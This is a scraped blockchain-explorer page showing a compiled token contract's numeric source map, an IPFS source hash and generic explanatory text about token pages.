0;;-1:-1:-1;;;;;8193:30:0;;;8207:15;;8193:30;;8168:55;:83;;;;-1:-1:-1;;;;;;8229:22:0;;;;;;:18;:22;;;;;;;;8227:24;8168:83;8164:421;;;8291:12;;8281:6;:22;;8273:60;;;;-1:-1:-1;;;8273:60:0;;10955:2:1;8273:60:0;;;10937:21:1;10994:2;10974:18;;;10967:30;11033:27;11013:18;;;11006:55;11078:18;;8273:60:0;10753:349:1;8273:60:0;8386:14;;8376:6;8360:13;8370:2;-1:-1:-1;;;;;6411:18:0;6384:7;6411:18;;;:9;:18;;;;;;;6318:119;8360:13;:22;;;;:::i;:::-;:40;;8352:79;;;;-1:-1:-1;;;8352:79:0;;11439:2:1;8352:79:0;;;11421:21:1;11478:2;11458:18;;;11451:30;11517:28;11497:18;;;11490:56;11563:18;;8352:79:0;11237:350:1;8352:79:0;8462:77;8535:3;8462:68;8485:15;;8474:9;;:26;;8473:56;;8515:14;;8473:56;;8462:77;8450:9;:89;8558:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8164:421;8610:13;;-1:-1:-1;;;;;8604:19:0;;;8610:13;;8604:19;:43;;;;-1:-1:-1;;;;;;8627:20:0;;8642:4;8627:20;;8604:43;8601:175;;;8680:80;8756:3;8680:71;8703:16;;8692:9;;:27;;8691:59;;8735:15;;8691:59;;;8721:13;;8680:6;;:10;:71::i;:80::-;8668:9;:92;8601:175;8841:4;8792:28;6411:18;;;:9;:18;;;;;;8867:6;;-1:-1:-1;;;8867:6:0;;;;8866:7;:30;;;;-1:-1:-1;8883:13:0;;-1:-1:-1;;;;;8877:19:0;;;8883:13;;8877:19;8866:30;:45;;;;-1:-1:-1;8900:11:0;;-1:-1:-1;;;8900:11:0;;;;8866:45;:89;;;;;8938:17;;8915:20;:40;8866:89;:124;;;;;8972:18;;8959:9;;:31;;8866:124;8862:682;;;9030:13;;9015:12;:28;9011:90;;;9080:1;9068:9;:13;9011:90;9139:1;9127:9;;:13;9119:49;;;;-1:-1:-1;;;9119:49:0;;11934:2:1;9119:49:0;;;11916:21:1;11973:2;11953:18;;;11946:30;12012:25;11992:18;;;11985:53;12055:18;;9119:49:0;11732:347:1;9119:49:0;9187:69;9204:51;9208:6;9216:38;9220:20;9242:11;;9216:3;:38::i;:::-;9204:3;:51::i;:::-;9187:16;:69::i;:::-;9304:21;9348:22;;9344:108;;9395:37;9410:21;9395:14;:37::i;:::-;9470:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9516:12:0;9500:13;:28;-1:-1:-1;8862:682:0;7991:1564;7915:1640;9570:9;;:11;9567:213;;9651:9;;9640:4;9622:24;;;;:9;:24;;;;;;:39;;:28;:39::i;:::-;9615:4;9597:24;;;;:9;:24;;;;;:64;9681:14;;-1:-1:-1;;;9681:14:0;;;;9676:32;;9707:1;9697:9;:11;9676:32;9751:4;-1:-1:-1;;;;;9728:40:0;9737:4;-1:-1:-1;;;;;9728:40:0;;9758:9;;9728:40;;;;1283:25:1;;1271:2;1256:18;;1137:177;9728:40:0;;;;;;;;9567:213;-1:-1:-1;;;;;9806:15:0;;;;;;:9;:15;;;;;;:27;;9826:6;9806:19;:27::i;:::-;-1:-1:-1;;;;;9790:15:0;;;;;;:9;:15;;;;;:43;9887:9;;9858:40;;9876:21;;:6;;:10;:21::i;:::-;-1:-1:-1;;;;;9858:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9844:13:0;;;;;;;:9;:13;;;;;:54;;;;9944:9;;9914:41;;;;;;9933:21;;:6;;:10;:21::i;:::-;9914:41;;1283:25:1;;;1271:2;1256:18;9914:41:0;1137:177:1;959:190:0;1045:7;1081:12;1073:6;;;;1065:29;;;;-1:-1:-1;;;1065:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1105:9:0;1117:5;1121:1;1117;:5;:::i;:::-;1105:17;959:190;-1:-1:-1;;;;;959:190:0:o;1157:246::-;1215:7;1239:1;1244;1239:6;1235:47;;-1:-1:-1;1269:1:0;1262:8;;1235:47;1292:9;1304:5;1308:1;1304;:5;:::i;:::-;1292:17;-1:-1:-1;1337:1:0;1328:5;1332:1;1292:17;1328:5;:::i;:::-;:10;1320:56;;;;-1:-1:-1;;;1320:56:0;;12641:2:1;1320:56:0;;;12623:21:1;12680:2;12660:18;;;12653:30;12719:34;12699:18;;;12692:62;-1:-1:-1;;;12770:18:1;;;12763:31;12811:19;;1320:56:0;12439:397:1;1320:56:0;1394:1;1157:246;-1:-1:-1;;;1157:246:0:o;1411:132::-;1469:7;1496:39;1500:1;1503;1496:39;;;;;;;;;;;;;;;;;:3;:39::i;11635:483::-;5547:6;:13;;-1:-1:-1;;;;5547:13:0;-1:-1:-1;;;5547:13:0;;;11737:16:::1;::::0;;11751:1:::1;11737:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11737:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11737:16:0::1;11713:40;;11782:4;11764;11769:1;11764:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11764:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11808:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11808:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11764:7;;11808:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11798:4;11803:1;11798:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11798:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11873:15:::1;::::0;11841:62:::1;::::0;11858:4:::1;::::0;11873:15:::1;11891:11:::0;11841:8:::1;:62::i;:::-;11914:15;::::0;:196:::1;::::0;-1:-1:-1;;;11914:196:0;;-1:-1:-1;;;;;11914:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11995:11;;11914:15:::1;::::0;12037:4;;12064::::1;::::0;12084:15:::1;::::0;11914:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5583:6:0;:14;;-1:-1:-1;;;;5583:14:0;;;-1:-1:-1;;;;11635:483:0:o;10572:94::-;10631:10;;:27;;-1:-1:-1;;;;;10631:10:0;;;;:27;;;;;10651:6;;10631:10;:27;:10;:27;10651:6;10631:10;:27;;;;;;;;;;;;;;;;;;;9971:100;10028:7;10057:1;10055;:3;10054:9;;10062:1;10054:9;;;-1:-1:-1;10060:1:0;9971:100;-1:-1:-1;9971:100:0:o;628:179::-;686:7;;718:5;722:1;718;:5;:::i;:::-;706:17;;747:1;742;:6;;734:46;;;;-1:-1:-1;;;734:46:0;;14271:2:1;734:46:0;;;14253:21:1;14310:2;14290:18;;;14283:30;14349:29;14329:18;;;14322:57;14396:18;;734:46:0;14069:351:1;815:136:0;873:7;900:43;904:1;907;900:43;;;;;;;;;;;;;;;;;:3;:43::i;1551:189::-;1637:7;1672:12;1665:5;1657:28;;;;-1:-1:-1;;;1657:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1696:9:0;1708:5;1712:1;1708;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:226::-;2540:6;2593:2;2581:9;2572:7;2568:23;2564:32;2561:52;;;2609:1;2606;2599:12;2561:52;-1:-1:-1;2654:23:1;;2481:226;-1:-1:-1;2481:226:1:o;2712:388::-;2780:6;2788;2841:2;2829:9;2820:7;2816:23;2812:32;2809:52;;;2857:1;2854;2847:12;2809:52;2896:9;2883:23;2915:31;2940:5;2915:31;:::i;:::-;2965:5;-1:-1:-1;3022:2:1;3007:18;;2994:32;3035:33;2994:32;3035:33;:::i;:::-;3087:7;3077:17;;;2712:388;;;;;:::o;3105:118::-;3191:5;3184:13;3177:21;3170:5;3167:32;3157:60;;3213:1;3210;3203:12;3228:361;3293:6;3301;3354:2;3342:9;3333:7;3329:23;3325:32;3322:52;;;3370:1;3367;3360:12;3322:52;3409:9;3396:23;3428:28;3450:5;3428:28;:::i;3594:356::-;3796:2;3778:21;;;3815:18;;;3808:30;3874:34;3869:2;3854:18;;3847:62;3941:2;3926:18;;3594:356::o;3955:127::-;4016:10;4011:3;4007:20;4004:1;3997:31;4047:4;4044:1;4037:15;4071:4;4068:1;4061:15;4087:375;4175:1;4193:5;4207:249;4228:1;4218:8;4215:15;4207:249;;;4278:4;4273:3;4269:14;4263:4;4260:24;4257:50;;;4287:18;;:::i;:::-;4337:1;4327:8;4323:16;4320:49;;;4351:16;;;;4320:49;4434:1;4430:16;;;;;4390:15;;4207:249;;;4087:375;;;;;;:::o;4467:902::-;4516:5;4546:8;4536:80;;-1:-1:-1;4587:1:1;4601:5;;4536:80;4635:4;4625:76;;-1:-1:-1;4672:1:1;4686:5;;4625:76;4717:4;4735:1;4730:59;;;;4803:1;4798:174;;;;4710:262;;4730:59;4760:1;4751:10;;4774:5;;;4798:174;4835:3;4825:8;4822:17;4819:43;;;4842:18;;:::i;:::-;-1:-1:-1;;4898:1:1;4884:16;;4957:5;;4710:262;;5056:2;5046:8;5043:16;5037:3;5031:4;5028:13;5024:36;5018:2;5008:8;5005:16;5000:2;4994:4;4991:12;4987:35;4984:77;4981:203;;;-1:-1:-1;5093:19:1;;;5169:5;;4981:203;5216:42;-1:-1:-1;;5241:8:1;5235:4;5216:42;:::i;:::-;5294:6;5290:1;5286:6;5282:19;5273:7;5270:32;5267:58;;;5305:18;;:::i;:::-;5343:20;;4467:902;-1:-1:-1;;;4467:902:1:o;5374:140::-;5432:5;5461:47;5502:4;5492:8;5488:19;5482:4;5461:47;:::i;5519:168::-;5592:9;;;5623;;5640:15;;;5634:22;;5620:37;5610:71;;5661:18;;:::i;6044:251::-;6114:6;6167:2;6155:9;6146:7;6142:23;6138:32;6135:52;;;6183:1;6180;6173:12;6135:52;6215:9;6209:16;6234:31;6259:5;6234:31;:::i;7213:456::-;7301:6;7309;7317;7370:2;7358:9;7349:7;7345:23;7341:32;7338:52;;;7386:1;7383;7376:12;7338:52;-1:-1:-1;;7431:16:1;;7537:2;7522:18;;7516:25;7633:2;7618:18;;;7612:25;7431:16;;7516:25;;-1:-1:-1;7612:25:1;7213:456;-1:-1:-1;7213:456:1:o;7953:245::-;8020:6;8073:2;8061:9;8052:7;8048:23;8044:32;8041:52;;;8089:1;8086;8079:12;8041:52;8121:9;8115:16;8140:28;8162:5;8140:28;:::i;8203:230::-;8273:6;8326:2;8314:9;8305:7;8301:23;8297:32;8294:52;;;8342:1;8339;8332:12;8294:52;-1:-1:-1;8387:16:1;;8203:230;-1:-1:-1;8203:230:1:o;11107:125::-;11172:9;;;11193:10;;;11190:36;;;11206:18;;:::i;11592:135::-;11631:3;11652:17;;;11649:43;;11672:18;;:::i;:::-;-1:-1:-1;11719:1:1;11708:13;;11592:135::o;12084:128::-;12151:9;;;12172:11;;;12169:37;;;12186:18;;:::i;12217:217::-;12257:1;12283;12273:132;;12327:10;12322:3;12318:20;12315:1;12308:31;12362:4;12359:1;12352:15;12390:4;12387:1;12380:15;12273:132;-1:-1:-1;12419:9:1;;12217:217::o;12973:127::-;13034:10;13029:3;13025:20;13022:1;13015:31;13065:4;13062:1;13055:15;13089:4;13086:1;13079:15;13105:959;13367:4;13415:3;13404:9;13400:19;13446:6;13435:9;13428:25;13489:6;13484:2;13473:9;13469:18;13462:34;13532:3;13527:2;13516:9;13512:18;13505:31;13556:6;13591;13585:13;13622:6;13614;13607:22;13660:3;13649:9;13645:19;13638:26;;13699:2;13691:6;13687:15;13673:29;;13720:1;13730:195;13744:6;13741:1;13738:13;13730:195;;;13809:13;;-1:-1:-1;;;;;13805:39:1;13793:52;;13874:2;13900:15;;;;13865:12;;;;13841:1;13759:9;13730:195;;;-1:-1:-1;;;;;;;13981:32:1;;;;13976:2;13961:18;;13954:60;-1:-1:-1;;14045:3:1;14030:19;14023:35;13942:3;13105:959;-1:-1:-1;;;13105:959:1:o

Swarm Source

ipfs://99a4aee77cfb158d121df36a8aa60e2d05d27715d806932c4fdacb01e0107ef0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.